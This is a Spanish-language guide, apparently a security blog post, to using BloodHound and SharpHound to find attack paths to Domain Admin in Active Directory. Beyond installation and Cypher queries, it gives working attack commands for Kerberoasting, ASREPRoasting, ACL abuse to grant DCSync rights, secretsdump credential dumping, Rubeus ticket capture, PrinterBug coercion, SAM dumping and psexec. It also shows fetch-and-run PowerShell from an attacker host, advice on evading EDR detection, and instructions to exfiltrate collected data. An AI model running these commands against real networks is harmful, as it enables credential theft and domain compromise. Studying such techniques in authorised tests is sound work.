Guía Completa de BloodHound: Mapeo de Rutas de Ataque en Active Directory

BloodHound es lo más cercano a un cheat code que existe para el pentesting de Active Directory. Dale los datos del dominio y te dibuja un mapa de cada ruta posible desde un usuario normal hasta Domain Admin — rutas que manualmente te tomarían días encontrar.

Esta guía cubre todo: instalación, recolección de datos con SharpHound, consultas Cypher y cómo usar las rutas de ataque que encuentras para escalar privilegios de verdad.

Qué Hace BloodHound (y Por Qué Importa)

Los entornos de Active Directory son complejos. Miles de usuarios, cientos de grupos, permisos anidados, configuraciones incorrectas de ACL, delegación de Kerberos — ningún ser humano puede razonar sobre todo eso manualmente.

BloodHound ingiere toda esa información, construye una base de datos de grafos y ejecuta algoritmos de teoría de grafos para encontrar el camino más corto entre dos nodos. Le das un punto de partida (tu cuenta comprometida) y un objetivo (Domain Admins), y te dice exactamente cómo llegar.

El resultado: rutas de ataque técnicamente correctas, frecuentemente ignoradas por defensores y que aparecen constantemente en compromisos reales.

Lo que BloodHound encuentra:

Rutas más cortas hacia Domain Admin, Enterprise Admin y derechos DCSync
Cuentas Kerberoasteables con privilegios de administrador
Usuarios ASREPRoasteables
Configuraciones incorrectas de delegación sin restricciones y con restricciones
Rutas de abuso de ACL (WriteDACL, GenericWrite, ForceChangePassword, etc.)
Cadenas de membresía de grupos que otorgan acceso inesperado
Relaciones de administrador local entre equipos

Arquitectura General

BloodHound tiene tres componentes:

Componente	Función
SharpHound (recolector)	Se ejecuta en el entorno objetivo, recolecta datos de AD
Neo4j (base de datos de grafos)	Almacena y consulta los datos como un grafo
BloodHound GUI	Visualiza rutas de ataque, ejecuta consultas predefinidas

El flujo: SharpHound recolecta → importas a Neo4j → BloodHound consulta el grafo.

Ediciones de BloodHound

BloodHound CE (Community Edition) — la versión open-source actual, mantenida por SpecterOps. Funciona como aplicación web y requiere Docker. Es lo que la mayoría de los equipos usa hoy.

BloodHound Legacy — la antigua aplicación Electron. Sigue funcionando y está ampliamente documentada, pero ya no tiene desarrollo activo. Útil para ejecuciones rápidas y standalone.

Esta guía cubre ambas, comenzando con CE.

Instalación de BloodHound CE

La forma más sencilla es con Docker Compose.

# Prerrequisitos
sudo apt install docker.io docker-compose -y

# Obtener el archivo compose oficial
curl -L https://ghst.ly/getbhce | sudo docker compose -f - up

BloodHound CE arrancará en http://localhost:8080. Credenciales por defecto:

admin / bloodhoundcommunityedition

El sistema te forzará a cambiar la contraseña en el primer acceso.

Para una instalación persistente con configuración personalizada:

# Clonar el repositorio
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound

# Iniciar con Docker Compose
sudo docker compose -f docker-compose.yml up -d

# Verificar estado
sudo docker compose ps

Instalación de BloodHound Legacy (Standalone)

Si prefieres la aplicación Electron antigua:

# Instalar Neo4j primero
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable latest' | sudo tee /etc/apt/sources.list.d/neo4j.list
sudo apt update && sudo apt install neo4j -y

# Configurar contraseña de Neo4j
sudo neo4j-admin dbms set-initial-password tucontraseña

# Iniciar Neo4j
sudo systemctl start neo4j
sudo systemctl enable neo4j

# Descargar el binario de BloodHound
wget https://github.com/SpecterOps/BloodHound-Legacy/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound-linux-x64/BloodHound

# Ejecutar
./BloodHound-linux-x64/BloodHound --no-sandbox

Neo4j funciona en http://localhost:7474. Por defecto: neo4j/neo4j (deberás establecer una nueva contraseña en el primer acceso).

Recolección de Datos con SharpHound

SharpHound es el recolector de datos. Se ejecuta en el entorno Windows objetivo y produce archivos ZIP con datos en formato JSON sobre objetos de AD, permisos y relaciones.

Descargar SharpHound

# Desde tu máquina atacante — sirve SharpHound para descarga
python3 -m http.server 8000

# En el objetivo (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://IP_ATACANTE:8000/SharpHound.ps1')

O usando el binario directamente:

# Transferir por SMB o HTTP
certutil -urlcache -split -f http://IP_ATACANTE:8000/SharpHound.exe C:\Windows\Temp\sh.exe

Recolección Básica

# Recolección por defecto (la más común)
.\SharpHound.exe -c All

# Recolectar todo incluyendo datos del registro del DC
.\SharpHound.exe -c All,GPOLocalGroup

# Ejecutar como usuario específico (útil si tienes credenciales)
.\SharpHound.exe -c All --ldapusername dominio\usuario --ldappassword Contraseña123

El flag -c All recolecta: Default, Group, LocalAdmin, RDP, DCOM, PSRemote, Session, Trusts, ACL, Container, GPO y ObjectProps.

Recolección Sigilosa

Cuando necesitas pasar desapercibido:

# Reducir peticiones LDAP y hacerlo más lento
.\SharpHound.exe -c Default --throttle 5000 --jitter 25

# Apuntar a una OU específica para minimizar el ruido
.\SharpHound.exe -c All --searchbase "OU=Workstations,DC=corp,DC=local"

# Omitir comprobaciones de ping (útil en entornos segmentados)
.\SharpHound.exe -c All --skipping

Recolección Remota (Sin Shell en el DC)

Si tienes credenciales de dominio pero no tienes shell en un DC:

# Recolectar desde DC remoto vía LDAP
.\SharpHound.exe -c All --domaincontroller 10.10.10.1 --domain corp.local

Resultado

SharpHound produce un archivo ZIP: AAAAMMDDHHMMSS_BloodHound.zip

Exfiltra este archivo a tu máquina de ataque para importarlo.

Importar Datos en BloodHound CE

# Inicia sesión en BloodHound CE en http://localhost:8080
# Navega a: Administration → File Ingest
# Sube el archivo ZIP

O mediante API:

# Obtener token de autenticación primero
TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/login \
  -H "Content-Type: application/json" \
  -d '{"login_method":"secret","secret":"tucontraseña","username":"admin"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['session_token'])")

# Subir ZIP
curl -X POST http://localhost:8080/api/v2/file-upload/start \
  -H "Authorization: Bearer $TOKEN"

Importar en BloodHound Legacy

Haz clic en “Upload Data” en la parte superior derecha → arrastra el archivo ZIP → espera a que se importe.

El progreso aparece en la parte inferior derecha. Entornos grandes (más de 50.000 objetos) pueden tardar varios minutos.

Ejecutar Consultas de Rutas de Ataque

Aquí está el verdadero valor.

Consultas Predefinidas (BloodHound CE)

En la pestaña Explore, usa las consultas integradas:

Rutas más cortas:

Shortest Paths to Domain Admins from Owned Principals
Shortest Paths to High Value Targets
Shortest Paths from Kerberoastable Users

Objetivos de alto valor:

Find All Domain Admins
Find Computers with Unsupported OS
Find Computers with Unconstrained Delegation

Derechos peligrosos:

Find Principals with DCSync Rights
Find Users with Foreign Domain Group Membership
Review ACLs for Dangerous Rights

Marcar Nodos como Comprometidos

Siempre marca primero tus cuentas o máquinas comprometidas. BloodHound usa esto para calcular rutas desde tu posición real.

# En la barra de búsqueda, encuentra tu usuario comprometido
# Clic derecho → Mark as Owned

Luego ejecuta: Shortest Paths to High Value Targets from Owned Principals

Esto te da tus rutas de ataque reales, no las teóricas.

Rutas de Ataque Clave a Buscar

1. Ruta Kerberoasteable hacia DA

Usuario (Kerberoasteable) → Miembro de Grupo → Acceso admin a máquina → Ruta hacia DA

2. Cadena ASREPRoast

Usuario (sin preautenticación requerida) → Grupo con altos privilegios → DA

3. Abuso de ACL

UsuarioA → GenericWrite → UsuarioB → Miembro de → Domain Admins

4. Delegación sin restricciones

Comprometer máquina con delegación sin restricciones → Esperar autenticación del DA → Extraer TGT → Pass-the-Ticket

5. Cadena WriteDACL / GenericAll

UsuarioA → WriteDACL en Grupo → Agregarse al Grupo → Heredar privilegios de administrador

Consultas Cypher Personalizadas

El poder real de BloodHound es Cypher — el lenguaje de consulta de grafos de Neo4j. Puedes escribir consultas que la interfaz integrada no cubre.

Conectar a Neo4j (Legacy)

http://localhost:7474
Usuario: neo4j
Contraseña: tucontraseña

Consultas Personalizadas Útiles

Encontrar todos los usuarios con ruta hacia DA en ≤ 3 saltos:

MATCH p=shortestPath((u:User)-[*1..3]->(g:Group {name:"DOMAIN [email protected]"}))
WHERE NOT u.name STARTS WITH "ADMIN"
RETURN p

Todos los equipos con delegación sin restricciones (excluyendo DCs):

MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name ENDS WITH "DC.CORP.LOCAL"
RETURN c.name, c.operatingsystem

Usuarios con derechos DCSync (que no son miembros de DA):

MATCH (u:User)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
WHERE NOT (u)-[:MemberOf*1..]->(:Group {name:"DOMAIN [email protected]"})
RETURN u.name

Todos los usuarios Kerberoasteables con derechos de admin en algún lugar:

MATCH (u:User {hasspn:true})
MATCH p=(u)-[*1..5]->(c:Computer)
WHERE c.haslaps = false
RETURN u.name, u.serviceprincipalnames, count(p)
ORDER BY count(p) DESC

Encontrar equipos donde el usuario X tiene admin local:

MATCH (u:User {name:"[email protected]"})-[:AdminTo]->(c:Computer)
RETURN c.name

Usuarios ASREPRoasteables con rutas hacia objetivos de alto valor:

MATCH (u:User {dontreqpreauth:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {highvalue:true}))
RETURN u.name, length(p) as saltos
ORDER BY saltos ASC

Todos los grupos con GenericAll sobre otros grupos:

MATCH (g1:Group)-[:GenericAll]->(g2:Group)
RETURN g1.name, g2.name

Agregar Consultas Personalizadas a la Interfaz

En BloodHound Legacy, edita ~/.config/bloodhound/customqueries.json:

{
  "queries": [
    {
      "name": "ASREPRoasteable con ruta hacia DA",
      "category": "Personalizado",
      "queryList": [
        {
          "final": true,
          "query": "MATCH (u:User {dontreqpreauth:true}) MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'})) RETURN p"
        }
      ]
    }
  ]
}

Actuar Sobre lo que BloodHound Encuentra

Encontrar una ruta es el primer paso. Ejecutarla es el segundo.

Kerberoasting

# Impacket
python3 GetUserSPNs.py corp.local/jsmith:Contraseña123 -dc-ip 10.10.10.1 -request

# PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation -Path hashes.csv

# Crackear con hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

ASREPRoasting

# Impacket
python3 GetNPUsers.py corp.local/ -usersfile usuarios.txt -format hashcat -outputfile asrep.txt -dc-ip 10.10.10.1

# Crackear
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Abuso de ACL — GenericWrite para Kerberoast Dirigido

Si tienes GenericWrite sobre un usuario, puedes establecer un SPN y hacerle Kerberoast:

# PowerView
Set-DomainObject -Identity usuariodestino -Set @{serviceprincipalnames='fake/spn'}
Get-DomainSPNTicket -SPN 'fake/spn' -Format Hashcat

Abuso de ACL — WriteDACL para Agregar Derechos DCSync

# Agregar derechos DCSync a tu usuario
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity jsmith \
  -Rights DCSync

# Ahora ejecutar DCSync
python3 secretsdump.py corp.local/jsmith:Contraseñ[email protected]

Explotación de Delegación Sin Restricciones

# En la máquina sin restricciones — monitorear TGTs entrantes
Rubeus.exe monitor /interval:5 /targetuser:administrator

# Esperar que un DC/admin se autentique → capturar TGT
# Usar el TGT
Rubeus.exe ptt /ticket:TICKET_EN_BASE64

# O forzar al DC a autenticarse con PrinterBug
SpoolSample.exe IP_DC IP_MAQUINA_SIN_RESTRICCIONES

Para practicar estas técnicas en laboratorio, Vultr y DigitalOcean ofrecen VMs Windows Server baratas para construir labs de AD sin necesidad de hardware físico.

BloodHound + Otras Herramientas

BloodHound + CrackMapExec/NetExec:

# Validar las rutas de admin local que encontró BloodHound
nxc smb 10.10.10.0/24 -u jsmith -p Contraseña123 --local-auth

# Volcar SAM en máquinas con admin local
nxc smb IP_OBJETIVO -u jsmith -p Contraseña123 --sam

BloodHound + Impacket:

# Verificar membresía en DA
python3 net.py corp.local/Administrator:Contraseñ[email protected] user -action query -user Administrator

# Ejecutar comandos después de la escalada
python3 psexec.py corp.local/Administrator:Contraseñ[email protected]

BloodHound + Rubeus:

# Kerberoastear todos los usuarios SPN encontrados en BloodHound
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# ASREPRoast
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Notas de Seguridad Operacional

SharpHound genera muchas consultas LDAP. Los EDR y SIEM modernos pueden detectarlo.

Reducir el ruido:

Usar el flag --stealth (omite la enumeración de sesiones — la parte más ruidosa)
Recolectar con una cuenta que no sea domain admin cuando sea posible
Ejecutar durante horario laboral cuando el tráfico LDAP se mezcla con el legítimo
Usar --throttle y --jitter en entornos sensibles
Apuntar a OUs específicas en lugar de todo el dominio

Evitar detección:

# Ejecución solo en memoria (sin artefactos en disco)
IEX(New-Object Net.WebClient).DownloadString('http://IP_ATACANTE/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -NoSaveCache

# Usar LDAPS (puerto 636) para mezclar con tráfico LDAP cifrado legítimo
.\SharpHound.exe -c All --secureldap

Lectura Recomendada

Si quieres profundizar en técnicas de ataque a AD más allá de lo que BloodHound muestra, The Hacker Playbook 3 es la mejor referencia práctica disponible. Cubre la explotación de AD en detalle — ataques Kerberos, abuso de ACL, explotación de confianzas — todas las técnicas que ejecutarás después de que BloodHound te dé el mapa.

Problemas Comunes

SharpHound falla con “Access Denied” Necesitas al menos una cuenta de usuario de dominio estándar. Ejecuta con credenciales explícitas:

.\SharpHound.exe -c All --ldapusername corp\usuario --ldappassword contraseña

Neo4j no arranca Verifica la versión de Java — Neo4j requiere Java 11+:

java -version
sudo apt install openjdk-11-jdk -y

La importación se cuelga en entornos grandes Divide la recolección: primero Default, luego ACL, luego Session por separado. Importa cada ZIP individualmente.

La base de datos de BloodHound CE se llena

# Verificar uso de disco de Neo4j
sudo docker exec bloodhound-graph-db-1 df -h

# Limpiar la base de datos (destructivo — reimporta después)
# En BloodHound CE: Administration → Database Management → Clear Database

Faltan aristas después de la importación Asegúrate de que la versión de SharpHound coincide con la versión de BloodHound CE. Las discrepancias causan importaciones parciales. Revisa las releases de GitHub para versiones compatibles.

Referencia Rápida

Tarea	Comando
Instalar BH CE	`curl -L https://ghst.ly/getbhce \| sudo docker compose -f - up`
Recolectar (todo)	`.\SharpHound.exe -c All`
Recolectar (sigiloso)	`.\SharpHound.exe -c Default --stealth`
Recolectar (DC remoto)	`.\SharpHound.exe -c All --domaincontroller IP_DC`
Encontrar ruta hacia DA	Marcar comprometido → ejecutar “Shortest Paths to DA from Owned”
Kerberoast	`python3 GetUserSPNs.py dominio/usuario:pass -dc-ip IP_DC -request`
ASREPRoast	`python3 GetNPUsers.py dominio/ -usersfile usuarios.txt -format hashcat`
DCSync	`python3 secretsdump.py dominio/usuario:pass@IP_DC`

BloodHound por sí solo no te convierte en un mejor atacante — hace que el entorno de AD sea legible. Lo que hagas con el mapa sigue siendo tu responsabilidad. Pero en cualquier dominio medianamente complejo, encontrará rutas que la enumeración manual nunca descubriría.

¿Quieres contenido como este para tu empresa de seguridad o blog? CipherWrite se encarga del ghostwriting técnico en ciberseguridad — artículos, whitepapers y guías técnicas.

Qué Hace BloodHound (y Por Qué Importa)#

Arquitectura General#

Ediciones de BloodHound#

Instalación de BloodHound CE#

Instalación de BloodHound Legacy (Standalone)#

Recolección de Datos con SharpHound#

Descargar SharpHound#

Recolección Básica#

Recolección Sigilosa#

Recolección Remota (Sin Shell en el DC)#

Resultado#

Importar Datos en BloodHound CE#

Importar en BloodHound Legacy#

Ejecutar Consultas de Rutas de Ataque#

Consultas Predefinidas (BloodHound CE)#

Marcar Nodos como Comprometidos#

Rutas de Ataque Clave a Buscar#

Consultas Cypher Personalizadas#

Conectar a Neo4j (Legacy)#

Consultas Personalizadas Útiles#

Agregar Consultas Personalizadas a la Interfaz#

Actuar Sobre lo que BloodHound Encuentra#

Kerberoasting#

ASREPRoasting#

Abuso de ACL — GenericWrite para Kerberoast Dirigido#

Abuso de ACL — WriteDACL para Agregar Derechos DCSync#

Explotación de Delegación Sin Restricciones#

BloodHound + Otras Herramientas#

Notas de Seguridad Operacional#

Lectura Recomendada#

Problemas Comunes#

Referencia Rápida#